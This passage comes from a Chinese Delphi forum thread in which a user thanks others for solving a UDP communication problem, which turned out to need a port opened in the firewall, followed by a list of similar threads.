在一台机器上执行UdpReceiver,<br>2. 在安装防火墙的机器上执行第一个程序.
 
shangshang就解决了我的问题,是防火墙给我开个端口的,谢谢你,同时谢谢fxh7622给我另外一个思维方式和解决方法,谢谢你们,还有谢谢所有关心这问题的大富翁,谢谢。分给少了点,请大家笑纳!
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部